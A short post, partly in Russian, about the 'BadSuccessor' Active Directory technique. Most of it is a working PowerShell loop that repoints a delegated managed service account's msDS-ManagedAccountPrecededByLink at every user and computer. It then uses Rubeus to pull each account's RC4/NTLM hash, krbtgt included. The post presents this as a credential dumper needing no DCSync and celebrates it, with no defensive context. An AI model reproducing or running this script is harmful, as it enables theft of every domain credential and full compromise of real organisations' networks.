Many missed this on #BadSuccessor: it’s also a credential dumper.
I wrote a simple PowerShell script that uses Rubeus to dump Kerberos keys and NTLM hashes for every principal-krbtgt, users, machines. no DCSync required, no code execution on DC.

какой же разъеб 😂🤣

upd. автор делает что-то типа такого, если что, со своей версией рубеуса:

$domain = Get-ADDomain
$dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)"
$allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) `
        + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName)
$allDNs | % {
    Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecededByLink" = $_.DN }
    $res = Invoke-Rubeus asktgs /targetuser:mydmsa$ /service:"krbtgt/$($domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi
    $rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value
    "$($_.sAMAccountName):$rc4"
}
